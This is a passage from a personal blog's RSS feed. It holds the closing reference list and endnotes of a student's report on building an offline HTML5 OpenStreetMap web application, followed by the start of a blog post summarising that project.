&lt;li id="loc-106"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-6" role="doc-backlink"&gt;[6]&lt;/a&gt;&lt;/span&gt; Magic Earth, “Magic Earth.” [Online]. Available: &lt;a href="https://www.magicearth.com/"&gt;https://www.magicearth.com/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-107"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-7" role="doc-backlink"&gt;[7]&lt;/a&gt;&lt;/span&gt; KDE Marble Contributors, “KDE Marble.” [Online]. Available: &lt;a href="https://marble.kde.org/"&gt;https://marble.kde.org/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-108"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-8" role="doc-backlink"&gt;[8]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Foundation, “Tile Usage Policy: Bulk Downloading.” Accessed: Sept. 29, 2022. [Online]. Available: &lt;a href="https://operations.osmfoundation.org/policies/tiles//#bulk-downloading"&gt;https://operations.osmfoundation.org/policies/tiles//#bulk-downloading&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-109"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-9" role="doc-backlink"&gt;[9]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “OpenStreetMap API.” Accessed: Sept. 29, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/API"&gt;https://wiki.openstreetmap.org/wiki/API&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-110"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-10" role="doc-backlink"&gt;[10]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “API: Terms of use.” Accessed: Sept. 29, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/API/#Terms_of_use"&gt;https://wiki.openstreetmap.org/wiki/API/#Terms_of_use&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-111"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-11" role="doc-backlink"&gt;[11]&lt;/a&gt;&lt;/span&gt; devemux86, “Cruiser.” [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Cruiser"&gt;https://wiki.openstreetmap.org/wiki/Cruiser&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-112"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-12" role="doc-backlink"&gt;[12]&lt;/a&gt;&lt;/span&gt; Mapsforge, “Mapsforge Binary Map File Format Specification.” Accessed: Sept. 29, 2022. [Online]. Available: &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"&gt;https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-113"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-13" role="doc-backlink"&gt;[13]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “OpenStreetMap Wiki: Main Page.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Main_Page"&gt;https://wiki.openstreetmap.org/wiki/Main_Page&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-114"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-14" role="doc-backlink"&gt;[14]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Mercator.” Accessed: Nov. 25, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Mercator"&gt;https://wiki.openstreetmap.org/wiki/Mercator&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-115"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-15" role="doc-backlink"&gt;[15]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Slippy map tilenames.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames"&gt;https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-116"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-16" role="doc-backlink"&gt;[16]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “MDN Web Docs.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/"&gt;https://developer.mozilla.org/en-US/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-117"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-17" role="doc-backlink"&gt;[17]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Canvas API.” Accessed: Nov. 02, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-118"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-18" role="doc-backlink"&gt;[18]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Service Worker API.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-119"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-33" role="doc-backlink"&gt;[19]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “HTML: HyperText Markup Language.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML"&gt;https://developer.mozilla.org/en-US/docs/Web/HTML&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-120"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-34" role="doc-backlink"&gt;[20]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “JavaScript modules.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules"&gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-121"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-35" role="doc-backlink"&gt;[21]&lt;/a&gt;&lt;/span&gt; SitePoint Pty. Ltd, “Using ES Modules in the Browser Today.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://www.sitepoint.com/using-es-modules/"&gt;https://www.sitepoint.com/using-es-modules/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-122"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-36" role="doc-backlink"&gt;[22]&lt;/a&gt;&lt;/span&gt; E. Wallace, “esbuild.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://esbuild.github.io/"&gt;https://esbuild.github.io/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-123"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-38" role="doc-backlink"&gt;[23]&lt;/a&gt;&lt;/span&gt; J. Bell, “File and Directory Entries API,” W3C Draft Community Group Report, Sept. 2022. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://wicg.github.io/entries-api/"&gt;https://wicg.github.io/entries-api/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-124"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-39" role="doc-backlink"&gt;[24]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Introduction to the File and Directory Entries API.” Accessed: Oct. 12, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction"&gt;https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-125"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-40" role="doc-backlink"&gt;[25]&lt;/a&gt;&lt;/span&gt; WHATWG, “HTML Living Standard: 7.11.2 Application caches,” technical report, 2020. Accessed: Oct. 17, 2022. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://html.spec.whatwg.org/commit-snapshots/27ca698a224a4fcf59b647be80a0c86c3c6abba5/#appcache"&gt;https://html.spec.whatwg.org/commit-snapshots/27ca698a224a4fcf59b647be80a0c86c3c6abba5/#appcache&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-126"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-41" role="doc-backlink"&gt;[26]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Window.applicationCache.” Accessed: Oct. 17, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/applicationCache"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/applicationCache&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-127"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-42" role="doc-backlink"&gt;[27]&lt;/a&gt;&lt;/span&gt; Mapbox, “MBTiles Specification.” Accessed: Oct. 12, 2022. [Online]. Available: &lt;a href="https://github.com/mapbox/mbtiles-spec"&gt;https://github.com/mapbox/mbtiles-spec&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-128"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-43" role="doc-backlink"&gt;[28]&lt;/a&gt;&lt;/span&gt; M. Kruisselbrink, “File API,” W3C Editor’s Draft, Oct. 2022. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://w3c.github.io/FileAPI/"&gt;https://w3c.github.io/FileAPI/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-129"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-44" role="doc-backlink"&gt;[29]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “File and Directory Entries API support in Firefox: Limitations.” Accessed: Oct. 17, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support#limitations_in_firefox"&gt;https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support#limitations_in_firefox&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-130"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-45" role="doc-backlink"&gt;[30]&lt;/a&gt;&lt;/span&gt; Google Developers, “Managing HTML5 Offline Storage.” Accessed: Oct. 17, 2022. [Online]. Available: &lt;a href="https://developer.chrome.com/docs/apps/offline_storage/"&gt;https://developer.chrome.com/docs/apps/offline_storage/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-131"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-46" role="doc-backlink"&gt;[31]&lt;/a&gt;&lt;/span&gt; J. Archibald and M. Kruisselbrink, “Service Workers Nightly: Caches,” W3C Editor’s Draft, June 2022. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://w3c.github.io/ServiceWorker/#cache-objects"&gt;https://w3c.github.io/ServiceWorker/#cache-objects&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-132"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-47" role="doc-backlink"&gt;[32]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “WebGL2RenderingContext.” Accessed: Nov. 02, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL2RenderingContext"&gt;https://developer.mozilla.org/en-US/docs/Web/API/WebGL2RenderingContext&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-133"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-48" role="doc-backlink"&gt;[33]&lt;/a&gt;&lt;/span&gt; Mapbox, “Mapbox GL JS.” Accessed: Nov. 02, 2022. [Online]. Available: &lt;a href="https://docs.mapbox.com/mapbox-gl-js/guides/"&gt;https://docs.mapbox.com/mapbox-gl-js/guides/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-134"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-49" role="doc-backlink"&gt;[34]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Canvas API: Drawing text.” Accessed: Nov. 02, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-135"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-50" role="doc-backlink"&gt;[35]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Canvas API: Transformations: Rotating.” Accessed: Nov. 21, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations#rotating"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations#rotating&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-136"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-51" role="doc-backlink"&gt;[36]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Canvas API: Path2D.” Accessed: Nov. 21, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Path2D"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Path2D&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-137"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-53" role="doc-backlink"&gt;[37]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Downloading data: Choose your region.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Downloading_data#Choose_your_region"&gt;https://wiki.openstreetmap.org/wiki/Downloading_data#Choose_your_region&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-138"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-54" role="doc-backlink"&gt;[38]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Using OpenStreetMap offline: Frameworks.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Using_OpenStreetMap_offline#Frameworks"&gt;https://wiki.openstreetmap.org/wiki/Using_OpenStreetMap_offline#Frameworks&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-139"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-55" role="doc-backlink"&gt;[39]&lt;/a&gt;&lt;/span&gt; Mapsforge, “Mapsforge Project Homepage.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://github.com/mapsforge/mapsforge"&gt;https://github.com/mapsforge/mapsforge&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-140"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-56" role="doc-backlink"&gt;[40]&lt;/a&gt;&lt;/span&gt; Mapsforge, “Applications using Mapsforge software AAA.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Mapsforge-Applications.md"&gt;https://github.com/mapsforge/mapsforge/blob/master/docs/Mapsforge-Applications.md&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-141"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-57" role="doc-backlink"&gt;[41]&lt;/a&gt;&lt;/span&gt; Mapbox, “MBTiles.” Accessed: Oct. 20, 2022. [Online]. Available: &lt;a href="https://docs.mapbox.com/help/glossary/mbtiles/"&gt;https://docs.mapbox.com/help/glossary/mbtiles/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-142"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-59" role="doc-backlink"&gt;[42]&lt;/a&gt;&lt;/span&gt; F. Canters, &lt;em&gt;Small-Scale Map Projection Design&lt;/em&gt;. in In Focus–Routledge Film Readers. CRC Press, 2002. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://books.google.co.uk/books?id=RZDUDwAAQBAJ"&gt;https://books.google.co.uk/books?id=RZDUDwAAQBAJ&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-143"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-60" role="doc-backlink"&gt;[43]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Converting to WGS84.” Accessed: Oct. 23, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Converting_to_WGS84"&gt;https://wiki.openstreetmap.org/wiki/Converting_to_WGS84&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-144"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-61" role="doc-backlink"&gt;[44]&lt;/a&gt;&lt;/span&gt; EPSG, “EPSG:4326 — WGS84: World Geodetic System 1984, used in GPS.” Accessed: Oct. 23, 2022. [Online]. Available: &lt;a href="https://epsg.io/4326"&gt;https://epsg.io/4326&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-145"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-62" role="doc-backlink"&gt;[45]&lt;/a&gt;&lt;/span&gt; S. E. Battersby, M. P. Finn, E. L. Usery, and K. H. Yamamoto, “Implications of Web Mercator and Its Use in Online Mapping,” &lt;em&gt;Cartographica: The International Journal for Geographic Information and Geovisualization&lt;/em&gt;, vol. 49, no. 2, pp. 85–101, 2014, doi: &lt;a href="https://doi.org/10.3138/carto.49.2.2313"&gt;10.3138/carto.49.2.2313&lt;/a&gt;.&lt;/li&gt;
&lt;li id="loc-146"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-63" role="doc-backlink"&gt;[46]&lt;/a&gt;&lt;/span&gt; Utah Geospatial Resource Center, “The Earth is Not Round! Utah, NAD83 and WebMercator Projections.” Accessed: Oct. 23, 2022. [Online]. Available: &lt;a href="https://gis.utah.gov/nad83-and-webmercator-projections/"&gt;https://gis.utah.gov/nad83-and-webmercator-projections/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-147"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-64" role="doc-backlink"&gt;[47]&lt;/a&gt;&lt;/span&gt; J. P. Snyder, &lt;em&gt;Map Projections: A Working Manual&lt;/em&gt;. in Geological Survey Bulletin Series. U.S. Government Printing Office, 1987. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://books.google.co.uk/books?id=nPdOAAAAMAAJ"&gt;https://books.google.co.uk/books?id=nPdOAAAAMAAJ&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-148"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-65" role="doc-backlink"&gt;[48]&lt;/a&gt;&lt;/span&gt; J. Nielsen, “Enhancing the explanatory power of usability heuristics,” in &lt;em&gt;Proceedings of the SIGCHI conference on Human Factors in Computing Systems&lt;/em&gt;,&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;1994, pp. 152–158.&lt;/li&gt;
&lt;li id="loc-149"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-66" role="doc-backlink"&gt;[49]&lt;/a&gt;&lt;/span&gt; Mapbox, “geojson.io.” Accessed: Nov. 25, 2022. [Online]. Available: &lt;a href="https://geojson.io/"&gt;https://geojson.io/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-150"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-67" role="doc-backlink"&gt;[50]&lt;/a&gt;&lt;/span&gt; Natural Earth, “1:110m Cultural Vectors: Admin 0 — Countries.” Accessed: Nov. 26, 2022. [Online]. Available: &lt;a href="https://www.naturalearthdata.com/downloads/110m-cultural-vectors/"&gt;https://www.naturalearthdata.com/downloads/110m-cultural-vectors/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-151"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-68" role="doc-backlink"&gt;[51]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Window.requestAnimationFrame().” Accessed: Nov. 26, 2022. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame"&gt;https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-152"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-70" role="doc-backlink"&gt;[52]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Relation:multipolygon.” Accessed: Nov. 27, 2022. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Relation:multipolygon"&gt;https://wiki.openstreetmap.org/wiki/Relation:multipolygon&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-153"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-73" role="doc-backlink"&gt;[53]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “HTTP range requests.” Accessed: Mar. 15, 2023. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests"&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-154"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-74" role="doc-backlink"&gt;[54]&lt;/a&gt;&lt;/span&gt; B. Liu, “Protomaps.” Accessed: Mar. 15, 2023. [Online]. Available: &lt;a href="https://protomaps.com/"&gt;https://protomaps.com/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-155"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-76" role="doc-backlink"&gt;[55]&lt;/a&gt;&lt;/span&gt; G. Tavares, “WebGL2 Fundamentals.” Accessed: Mar. 17, 2023. [Online]. Available: &lt;a href="https://webgl2fundamentals.org/"&gt;https://webgl2fundamentals.org/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-156"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-79" role="doc-backlink"&gt;[56]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Progressive web apps (PWAs).” Accessed: Mar. 22, 2023. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps"&gt;https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-157"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-171" role="doc-backlink"&gt;[57]&lt;/a&gt;&lt;/span&gt; C. Spanring and A. Mayrhofer, “A Uniform Resource Identifier for Geographic Locations ('geo' URI),” RFC Editor, RFC 5870, June 2010. doi: &lt;a href="https://doi.org/10.17487/RFC5870"&gt;10.17487/RFC5870&lt;/a&gt;.&lt;/li&gt;
&lt;li id="loc-158"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-86" role="doc-backlink"&gt;[58]&lt;/a&gt;&lt;/span&gt; Conventional Commits, “Conventional Commits: Specification.” Accessed: Nov. 30, 2022. [Online]. Available: &lt;a href="https://www.conventionalcommits.org/en/v1.0.0/#specification"&gt;https://www.conventionalcommits.org/en/v1.0.0/#specification&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-159"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-89" role="doc-backlink"&gt;[59]&lt;/a&gt;&lt;/span&gt; J. Nurthen, M. Cooper, and P. Krautzberger, “Accessible Rich Internet Applications (WAI-ARIA) 1.3,” W3C Editor's Draft, 2023. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://w3c.github.io/aria/"&gt;https://w3c.github.io/aria/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-160"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-90" role="doc-backlink"&gt;[60]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “HTML: A good basis for accessibility.” Accessed: Jan. 23, 2023. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML"&gt;https://developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-161"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-91" role="doc-backlink"&gt;[61]&lt;/a&gt;&lt;/span&gt; MDN Contributors, “Element Reference: &amp;lt;canvas&gt;: The Graphics Canvas element.” Accessed: Jan. 19, 2023. [Online]. Available: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas#accessibility_concerns"&gt;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas#accessibility_concerns&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-162"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-92" role="doc-backlink"&gt;[62]&lt;/a&gt;&lt;/span&gt; L. Grierson, J. Zelek, and H. Carnahan, “The Application of a Tactile Wayfinding Belt to Facilitate Navigation in Older Persons,” &lt;em&gt;Ageing International&lt;/em&gt;, vol. 34, pp. 203–215, 2009, doi: &lt;a href="https://doi.org/10.1007/s12126-009-9039-2"&gt;10.1007/s12126-009-9039-2&lt;/a&gt;.&lt;/li&gt;
&lt;li id="loc-163"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-94" role="doc-backlink"&gt;[63]&lt;/a&gt;&lt;/span&gt; NHS, “Colour vision deficiency (colour blindness).” Accessed: Jan. 23, 2023. [Online]. Available: &lt;a href="https://www.nhs.uk/conditions/colour-vision-deficiency/"&gt;https://www.nhs.uk/conditions/colour-vision-deficiency/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-164"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-95" role="doc-backlink"&gt;[64]&lt;/a&gt;&lt;/span&gt; A. Kirkpatrick, J. O. Connor, A. Campbell, and M. Cooper, “Web Content Accessibility Guidelines (WCAG) 2.1,” W3C Recommendation, 2018. [Online].&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Available: &lt;a href="https://www.w3.org/TR/WCAG21/#contrast-enhanced"&gt;https://www.w3.org/TR/WCAG21/#contrast-enhanced&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-165"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-97" role="doc-backlink"&gt;[65]&lt;/a&gt;&lt;/span&gt; J. Topf and C. Topf, “Wheelchair | Keys | OpenStreetMap Taginfo.” Accessed: Jan. 24, 2023. [Online]. Available: &lt;a href="https://taginfo.openstreetmap.org/keys/wheelchair"&gt;https://taginfo.openstreetmap.org/keys/wheelchair&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-166"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-98" role="doc-backlink"&gt;[66]&lt;/a&gt;&lt;/span&gt; T. Zwick and Contributors, “StreetComplete.” Accessed: Jan. 24, 2023. [Online]. Available: &lt;a href="https://github.com/streetcomplete/StreetComplete"&gt;https://github.com/streetcomplete/StreetComplete&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-167"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-99" role="doc-backlink"&gt;[67]&lt;/a&gt;&lt;/span&gt; Sozialhelden e.V., “Wheelmap.” Accessed: Jan. 24, 2023. [Online]. Available: &lt;a href="https://wheelmap.org/"&gt;https://wheelmap.org/&lt;/a&gt;&lt;/li&gt;
&lt;li id="loc-168"&gt;&lt;span class="prefix"&gt;&lt;a href="#loc-100" role="doc-backlink"&gt;[68]&lt;/a&gt;&lt;/span&gt; OpenStreetMap Wiki Contributors, “Key:smoothness.” Accessed: Jan. 25, 2023. [Online]. Available: &lt;a href="https://wiki.openstreetmap.org/wiki/Key:smoothness"&gt;https://wiki.openstreetmap.org/wiki/Key:smoothness&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section role="doc-endnotes"&gt;
&lt;ol style="list-style-type: none"&gt;
&lt;li id="loc-169"&gt;&lt;a href="#loc-71" role="doc-backlink"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;Note that the bytes themselves are still stored in big-endian format&lt;/li&gt;
&lt;li id="loc-170"&gt;&lt;a href="#loc-81" role="doc-backlink"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;In the case of my application, registering to handle geo URIs would have allowed users to open links to specific locations &lt;a id="loc-171" href="#loc-157" role="doc-biblioref"&gt;[57]&lt;/a&gt;. Unfortunately I did not have time to implement this.&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description></item><item><title>Building an offline web map</title><link>https://george.honeywood.org.uk/blog/map-from-the-ground-up/</link><pubDate>Tue, 04 Jul 2023 11:19:09 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/map-from-the-ground-up/</guid><description>&lt;p&gt;This is a summary of the Final Year Project that I completed as part of my last year at Royal Holloway. The task was to produce an &amp;ldquo;Offline HTML5 Map Application&amp;rdquo;. You can try out the result, OSMO, at &lt;a href="https://files.george.honeywood.org.uk/final-deliverable/#16/51.4290/-0.5521"
target="_blank" rel="noreferrer noopener"
&gt;files.george.honeywood.org.uk/final-deliverable/&lt;/a&gt;. The code is available on &lt;a href="https://github.com/GeorgeHoneywood/final-year-project"
target="_blank" rel="noreferrer noopener"
&gt;GitHub&lt;/a&gt;, and I have also written a formal report viewable &lt;a href="https://george.honeywood.org.uk/blog/uni-final-year-project/"
&gt;online&lt;/a&gt;, or as a &lt;a href="https://github.com/GeorgeHoneywood/final-year-project/files/11584765/george-honeywood-final-report.pdf"
target="_blank" rel="noreferrer noopener"
